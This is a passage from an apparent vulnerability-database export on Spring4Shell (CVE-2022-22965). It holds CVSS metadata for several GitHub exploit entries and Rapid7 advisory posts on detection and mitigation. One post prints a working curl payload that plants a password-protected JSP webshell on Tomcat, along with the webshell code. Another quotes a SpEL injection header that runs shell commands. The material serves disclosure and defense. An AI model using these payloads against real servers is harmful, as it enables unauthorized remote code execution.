"LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2023-08-09T21:35:18", "id": "1F4670D2-70D1-5F68-B5BB-2674FB754D26", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-06-14T15:55:06", "description": "# Spring4ShellPoC\nSpring4Shell PoC (CVE-2022-22965)\n\nJust playin...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-07T09:13:11", "type": "githubexploit", "title": "Exploit for Code Injection in Vmware Spring Framework", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-04-07T09:21:07", "id": "679F3E9E-1555-5391-86FF-CD3D67D80BDD", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-09-17T01:53:40", "description": "# CVE-2022-22965\nSpring Framework RCE (CVE-2022-22965) Nmap (NSE...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-07T00:08:16", "type": "githubexploit", "title": "Exploit for Code Injection in Vmware Spring Framework", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2023-09-16T21:52:41", "id": "B158F1AE-13DF-5F49-88D5-73B5B6183926", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-09-17T01:53:20", "description": "# Spring4Shell\n![IMAGE](Images/2022041117093...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-11T12:37:58", "type": "githubexploit", "title": "Exploit for Code Injection in Vmware Spring Framework", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2023-09-16T21:52:48", "id": "D088978F-AFD3-56B5-A461-39DCB022A11E", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-09-02T18:00:26", "description": "# Spring4Shell: CVE-2022-22965 RCE\n\n## Java Spring framework RCE...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2023-09-02T10:41:05", "type": "githubexploit", "title": "Exploit for Code Injection in Vmware Spring Framework", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2023-09-02T10:41:30", "id": "5C9561BE-D9BB-58D0-8E51-09DDD257BC72", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-06-14T15:55:32", "description": "<h1 align=\"center\">\n <br>\n go-scan-spring\n <br>\n <br>\n</h1...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-04T21:01:26", "type": "githubexploit", "title": "Exploit for Code Injection in Vmware Spring Framework", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-11-09T18:15:41", "id": "402AA694-D65B-59F0-9CAC-8D4AA40893B4", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-09-17T01:54:56", "description": "# CVE-2022-22965\u53ca\u5b98\u65b9\u4fee\u590d\u65b9\u6848\u5df2\u51fa\u3002\u6211\u662f\u4fee\u590d\u65b9\u6848\u51fa\u6765\u4e86\u624d\u653e\u7684\u5de5\u5177\u54c8\uff0c\u5404\u4f4d\u522b\u4e71\u641e\n\n\n![](https:/...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-31T02:00:18", "type": "githubexploit", "title": "Exploit for Code Injection in Vmware Spring Framework", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2023-09-16T21:52:31", "id": "915DAB75-3A6F-57CC-824E-106D6ACD652D", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-08-19T20:25:52", "description": "<!DOCTYPE html>\n<html dir=\"rtl\" lang=\"fa-IR\">\n\n<head>\n\t<meta cha...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-31T16:14:36", "type": "githubexploit", "title": "Exploit for Code Injection in Vmware Spring Framework", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-04-24T08:10:05", "id": "75235F83-D7F4-570F-B966-72159CCBA5CB", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}], "rapid7blog": [{"lastseen": "2022-04-07T13:29:14", "description": "\n\nWe have completed remediating the instances of Spring4Shell (CVE-2022-22965) and Spring Cloud (CVE-2022-22963) vulnerabilities that we found on our internet-facing services and systems. We continue to monitor for new vulnerability instances and to remediate vulnerabilities on internally accessible services. We also continue to monitor our environment for anomalous activity, having found none so far. No action is required by our customers at this time.\n\n## Further reading and recommendations\n\nOur Emergent Threat Response team has put together a [detailed blog post](<https://www.rapid7.com/blog/post/2022/03/30/spring4shell-zero-day-vulnerability-in-spring-framework/>) with general guidance about how to mitigate and remediate Spring4Shell. We will continue updating that post as we learn more about Spring4Shell and new remediation and mitigation approaches.\n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-01T14:42:42", "type": "rapid7blog", "title": "Update on Spring4Shell\u2019s Impact on Rapid7 Solutions and Systems", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22963", "CVE-2022-22965"], "modified": "2022-04-01T14:42:42", "id": "RAPID7BLOG:46F0D57262DABE81708D657F2733AA5D", "href": "https://blog.rapid7.com/2022/04/01/update-on-spring4shells-impact-on-rapid7-solutions-and-systems/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-04-06T16:15:25", "description": "## CVE-2022-22963 - Spring Cloud Function SpEL RCE\n\n\n\nA new `exploit/multi/http/spring_cloud_function_spel_injection` module has been developed by our very own [Spencer McIntyre](<https://github.com/smcintyre-r7>) which targets Spring Cloud Function versions Prior to 3.1.7 and 3.2.3. This module is unrelated to [Spring4Shell CVE-2022-22965](<https://www.rapid7.com/blog/post/2022/03/30/spring4shell-zero-day-vulnerability-in-spring-framework/>), which is a separate vulnerability in the WebDataBinder component of Spring Framework.\n\nThis exploit works by crafting an unauthenticated HTTP request to the target application. When the `spring.cloud.function.routing-expression` HTTP header is received by the server it will evaluate the user provided SpEL (Spring Expression Language) query, leading to remote code execution. This can be seen within the [CVE-2022-22963 Metasploit module](<https://github.com/rapid7/metasploit-framework/pull/16395/files#diff-85438aef360f2d47359f2cb9d7f9f52465f8bc23f2d9b6fa04fc4fef6eef69dbR109-R111>):\n \n \n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => normalize_uri(datastore['TARGETURI']),\n 'headers' => {\n 'spring.cloud.function.routing-expression' => \"T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/sh','-c','#{cmd.gsub(\"'\", \"''\")}'})\"\n }\n )\n \n\nBoth patched and unpatched servers will respond with a 500 server error and a JSON encoded message\n\n## New module content (1)\n\n * [Spring Cloud Function SpEL Injection](<https://github.com/rapid7/metasploit-framework/pull/16395>) by Spencer McIntyre, hktalent, and m09u3r, which exploits [CVE-2022-22963](<https://attackerkb.com/topics/1RIGeNMYFk/cve-2022-22963?referrer=blog>) \\- This achieves unauthenticated remote code execution by executing SpEL (Spring Expression Language) queries against Spring Cloud Function versions prior to `3.1.7` and `3.2.3`.\n\n## Bugs fixed (2)\n\n * [#16364](<https://github.com/rapid7/metasploit-framework/pull/16364>) from [zeroSteiner](<https://github.com/zeroSteiner>) \\- This adds a fix for a crash in `auxiliary/spoof/dns/native_spoofer` and adds documentation for the module.\n * [#16386](<https://github.com/rapid7/metasploit-framework/pull/16386>) from [adfoster-r7](<https://github.com/adfoster-r7>) \\- Fixes a crash when running the `exploit/multi/misc/java_rmi_server` module against at target server, such as Metasploitable2\n\n## Get it\n\nAs always, you can update to the latest Metasploit Framework with `msfupdate` \nand you can get more details on the changes since the last blog post from \nGitHub:\n\n * [Pull Requests 6.1.35...6.1.36](<https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222022-03-24T13%3A07%3A34-04%3A00..2022-03-31T11%3A00%3A06-05%3A00%22>)\n * [Full diff 6.1.35...6.1.36](<https://github.com/rapid7/metasploit-framework/compare/6.1.35...6.1.36>)\n\nIf you are a `git` user, you can clone the [Metasploit Framework repo](<https://github.com/rapid7/metasploit-framework>) (master branch) for the latest. \nTo install fresh without using git, you can use the open-source-only [Nightly Installers](<https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers>) or the \n[binary installers](<https://www.rapid7.com/products/metasploit/download.jsp>) (which also include the commercial edition).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-01T18:34:29", "type": "rapid7blog", "title": "Metasploit Weekly Wrap-Up", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22963", "CVE-2022-22965"], "modified": "2022-04-01T18:34:29", "id": "RAPID7BLOG:F708A09CA1EFFC0565CA94D5DBC414D5", "href": "https://blog.rapid7.com/2022/04/01/metasploit-weekly-wrap-up-155/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-04-08T21:29:15", "description": "\n\n_Rapid7 has completed remediating the instances of Spring4Shell (CVE-2022-22965) and Spring Cloud (CVE-2022-22963) vulnerabilities that we found on our internet-facing services and systems. For further information and updates about our internal response to Spring4Shell, please see our post [here](<https://www.rapid7.com/blog/post/2022/04/01/update-on-spring4shells-impact-on-rapid7-solutions-and-systems/>)._\n\nIf you are like many in the cybersecurity industry, any mention of a zero-day in an open-source software (OSS) library may cause a face-palm or audible groans, especially given the fast-follow from the [Log4j vulnerability](<https://www.rapid7.com/log4j-cve-2021-44228-resources/>). While discovery and research is evolving, we\u2019re posting the facts we\u2019ve gathered and updating guidance as new information becomes available.\n\n## What Rapid7 Customers Can Expect\n\nThis is an evolving incident. Our team is continuing to investigate and validate additional information about this vulnerability and its impact. As of March 31, 2022, Spring has [confirmed the zero-day vulnerability](<https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement>) and has released Spring Framework versions 5.3.18 and 5.2.20 to address it. The vulnerability affects SpringMVC and Spring WebFlux applications running on JDK 9+. CVE-2022-22965 was assigned to track the vulnerability on March 31, 2022.\n\nOur team will be updating this blog continually\u2014please see the bottom of the post for updates.\n\n### Vulnerability Risk Management\n\nThe April 1, 2022 content update released at 7:30 PM EDT contains authenticated and remote checks for CVE-2022-22965. The authenticated check (vulnerability ID `spring-cve-2022-22965`) will run on Unix-like systems and report on vulnerable versions of the Spring Framework found within WAR files. **Please note:** The `unzip` utility is required to be installed on systems being scanned. The authenticated check is available immediately for Nexpose and InsightVM Scan Engines. We are also targeting an Insight Agent release the week of April 11 to add support for the authenticated Unix check.\n\nThe remote check (vulnerability ID `spring-cve-2022-22965-remote-http`) triggers against any discovered HTTP(S) services and attempts to send a payload to common Spring-based web application paths in order to trigger an HTTP 500 response, which indicates a higher probability that the system is exploitable. We also have an authenticated Windows check available as of the April 7th content release, which requires the April 6th product release (version 6.6.135). More information on how to scan for Spring4Shell with InsightVM and Nexpose is [available here](<https://docs.rapid7.com/insightvm/spring4shell/>).\n\nThe Registry Sync App and Container Image Scanner have been updated to support assessing new container images to detect Spring4Shell in container environments. Both registry-sync-app and container-image-scanner can now assess new Spring Bean packages versions 5.0.0 and later that are embedded in WAR files.\n\n### Application Security\n\nA block rule is available to tCell customers (**Spring RCE block rule**) that can be enabled by navigating to Policies --> AppFw --> Blocking Rules. Check the box next to the Spring RCE block rule to enable, and click deploy. tCell will also detect certain types of exploitation attempts based on publicly available payloads, and will also alert customers if any [vulnerable packages](<https://docs.rapid7.com/tcell/packages-and-vulnerabilities>) (such as CVE 2022-22965) are loaded by the application.\n\nInsightAppSec customers can scan for Spring4Shell with the updated Remote Code Execution (RCE) [attack module](<https://docs.rapid7.com/release-notes/insightappsec/20220401/>) released April 1, 2022. For guidance on securing applications against Spring4Shell, read our [blog here](<https://www.rapid7.com/blog/post/2022/04/01/securing-your-applications-against-spring4shell-cve-2022-22965/>).\n\n### Cloud Security\n\nInsightCloudSec supports detection and remediation of Spring4Shell (CVE-2022-22965) in multiple ways. The new container vulnerability assessment capabilities in InsightCloudSec allow users to detect vulnerable versions of Spring Java libraries in containerized environments. For customers who do not have container vulnerability assessment enabled, our integration with Amazon Web Services (AWS) Inspector 2.0 allows users to detect the Spring4Shell vulnerability in their AWS environments.\n\nIf the vulnerability is detected in a customer environment, they can leverage filters in InsightCloudSec to focus specifically on the highest risk resources, such as those on a public subnet, to help prioritize remediation. Users can also create a bot to either automatically notify resource owners of the existence of the vulnerability or automatically shut down vulnerable instances in their environment.\n\n### InsightIDR and Managed Detection and Response\n\nWhile InsightIDR does not have a direct detection available for this exploit, we do have behavior- based detection mechanisms in place to alert on common follow-on attacker activity.\n\n## Introduction\n\nOur team is continuing to investigate and validate additional information about this vulnerability and its impact. This is a quickly evolving incident, and we are researching development of both assessment capabilities for our vulnerability management and application security solutions and options for preventive controls. As additional information becomes available, we will evaluate the feasibility of vulnerability checks, attack modules, detections, and Metasploit modules.\n\nWhile Rapid7 does not have a direct detection in place for this exploit, we do have behavior- based detection mechanisms in place to alert on common follow-on attacker activity. tCell will also detect certain types of exploitation based on publicly available payloads.\n\nAs of March 31, 2022, Spring has [confirmed the zero-day vulnerability](<https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement>) and has released Spring Framework versions 5.3.18 and 5.2.20 to address it. The vulnerability affects SpringMVC and Spring WebFlux applications running on JDK 9+. CVE-2022-22965 was assigned to track the vulnerability on March 31, 2022.\n\nOur team will be updating this blog continually\u2014please see the bottom of the post for updates. Our next update will be at noon EDT on March 31, 2022.\n\nOn March 30, 2022, rumors began to circulate about an unpatched remote code execution vulnerability in Spring Framework when a Chinese-speaking [researcher](<https://webcache.googleusercontent.com/search?q=cache:fMlVaoPj2YsJ:https://github.com/helloexp+&cd=1&hl=en&ct=clnk&gl=us>) published a [GitHub commit](<https://github.com/helloexp/0day/tree/14757a536fcedc8f4436fed6efb4e0846fc11784/22-Spring%20Core>) that contained proof-of-concept (PoC) exploit code. The exploit code targeted a zero-day vulnerability in the Spring Core module of the Spring Framework. Spring is maintained by [Spring.io](<https://spring.io/>) (a subsidiary of VMWare) and is used by many Java-based enterprise software frameworks. The vulnerability in the leaked proof of concept, which appeared to allow unauthenticated attackers to execute code on target systems, was quickly [deleted](<https://webcache.googleusercontent.com/search?q=cache:fMlVaoPj2YsJ:https://github.com/helloexp+&cd=1&hl=en&ct=clnk&gl=us>).\n\n\n\nA lot of confusion followed for several reasons: First, the vulnerability (and proof of concept) isn\u2019t exploitable with out-of-the-box installations of Spring Framework. The application has to use specific functionality, which we explain below. Second, a completely different unauthenticated RCE vulnerability was [published](<https://spring.io/blog/2022/03/29/cve-report-published-for-spring-cloud-function>) March 29, 2022 for Spring Cloud, which led some in the community to conflate the two unrelated vulnerabilities.\n\nRapid7\u2019s research team can confirm the zero-day vulnerability is real and provides unauthenticated remote code execution. Proof-of-concept exploits exist, but it\u2019s currently unclear which real-world applications use the vulnerable functionality. As of March 31, Spring has also [confirmed the vulnerability](<https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement>) and has released Spring Framework versions 5.3.18 and 5.2.20 to address it. It affects Spring MVC and Spring WebFlux applications running on JDK 9+.\n\n## Known risk\n\nThe following conditions map to known risk so far:\n\n * Any components using Spring Framework versions before 5.2.20, 5.3.18 **AND** JDK version 9 or higher **are considered [potentially vulnerable](<https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORK-2436751>)**;\n * Any components that meet the above conditions **AND** are using @RequestMapping annotation and Plain Old Java Object (POJO) parameters **are considered actually vulnerable** and are at some risk of being exploited;\n * Any components that meet the above conditions **AND** are running Tomcat **are _currently_ most at risk of being exploited** (due to [readily available exploit code](<https://github.com/craig/SpringCore0day>) that is known to work against Tomcat-based apps).\n\n## Recreating exploitation\n\nThe vulnerability appears to affect functions that use the [@RequestMapping](<https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/web/bind/annotation/RequestMapping.html>) annotation and POJO (Plain Old Java Object) parameters. Here is an example we hacked into a [Springframework MVC demonstration](<https://github.com/RameshMF/spring-mvc-tutorial/tree/master/springmvc5-helloworld-exmaple>):\n \n \n package net.javaguides.springmvc.helloworld.controller;\n \n import org.springframework.stereotype.Controller;\n import org.springframework.web.bind.annotation.InitBinder;\n import org.springframework.web.bind.annotation.RequestMapping;\n \n import net.javaguides.springmvc.helloworld.model.HelloWorld;\n \n /**\n * @author Ramesh Fadatare\n */\n @Controller\n public class HelloWorldController {\n \n \t@RequestMapping(\"/rapid7\")\n \tpublic void vulnerable(HelloWorld model) {\n \t}\n }\n \n\nHere we have a controller (`HelloWorldController`) that, when loaded into Tomcat, will handle HTTP requests to `http://name/appname/rapid7`. The function that handles the request is called `vulnerable` and has a POJO parameter `HelloWorld`. Here, `HelloWorld` is stripped down but POJO can be quite complicated if need be:\n \n \n package net.javaguides.springmvc.helloworld.model;\n \n public class HelloWorld {\n \tprivate String message;\n }\n \n\nAnd that\u2019s it. That\u2019s the entire exploitable condition, from at least Spring Framework versions 4.3.0 through 5.3.15. (We have not explored further back than 4.3.0.)\n\nIf we compile the project and host it on Tomcat, we can then exploit it with the following `curl` command. Note the following uses the exact same payload used by the original proof of concept created by the researcher (more on the payload later):\n \n \n curl -v -d \"class.module.classLoader.resources.context.parent.pipeline\n .first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%\n 22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRunt\n ime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%\n 20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20\n while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7\n D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context\n .parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources\n .context.parent.pipeline.first.directory=webapps/ROOT&class.module.cl\n assLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&cl\n ass.module.classLoader.resources.context.parent.pipeline.first.fileDat\n eFormat=\" http://localhost:8080/springmvc5-helloworld-exmaple-0.0.1-\n SNAPSHOT/rapid7\n \n\nThis payload drops a password protected webshell in the Tomcat ROOT directory called `tomcatwar.jsp`, and it looks like this:\n \n \n - if(\"j\".equals(request.getParameter(\"pwd\"))){ java.io.InputStream in\n = -.getRuntime().exec(request.getParameter(\"cmd\")).getInputStream();\n int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))3D-1){ out.\n println(new String(b)); } } -\n \n\nAttackers can then invoke commands. Here is an example of executing `whoami` to get `albinolobster`:\n\n\n\nThe Java version does appear to matter. Testing on OpenJDK 1.8.0_312 fails, but OpenJDK 11.0.14.1 works.\n\n## About the payload\n\nThe payload we\u2019ve used is specific to Tomcat servers. It uses a technique that was popular as far back as the 2014, that alters the **Tomcat** server\u2019s logging properties via ClassLoader. The payload simply redirects the logging logic to the `ROOT` directory and drops the file + payload. A good technical write up can be found [here](<https://hacksum.net/2014/04/28/cve-2014-0094-apache-struts-security-bypass-vulnerability/>).\n\nThis is just one possible payload and will not be the only one. We\u2019re certain that malicious class loading payloads will appear quickly.\n\n## Mitigation guidance\n\nAs of March 31, 2022, CVE-2022-22965 has been assigned and Spring Framework versions 5.3.18 and 5.2.20 have been released to address it. Spring Framework users should update to the fixed versions starting with internet-exposed applications that meet criteria for vulnerability (see `Known Risk`). As organizations build an inventory of affected applications, they should also look to gain visibility into process execution and application logs to monitor for anomalous activity.\n\nFurther information on the vulnerability and ongoing guidance are being provided in [Spring\u2019s blog here](<https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement>). The Spring [documentation](<https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/validation/DataBinder.html>) for DataBinder explicitly notes that:\n\n\u200b\u200b\u2026there are potential security implications in failing to set an array of allowed fields. In the case of HTTP form POST data for example, malicious clients can attempt to subvert an application by supplying values for fields or properties that do not exist on the form. In some cases this could lead to illegal data being set on command objects or their nested objects. For this reason, it is highly recommended to specify the allowedFields property on the DataBinder.\n\nTherefore, one line of defense would be to modify source code of custom Spring applications to ensure those field guardrails are in place. Organizations that use third-party applications susceptible to this newly discovered weakness cannot take advantage of this approach.\n\nIf your organization has a web application firewall (WAF) available, profiling any affected Spring-based applications to see what strings can be used in WAF detection rulesets would help prevent malicious attempts to exploit this weakness.\n\nIf an organization is unable to patch or use the above mitigations, one failsafe option is to model processes executions on systems that run these Spring-based applications and then 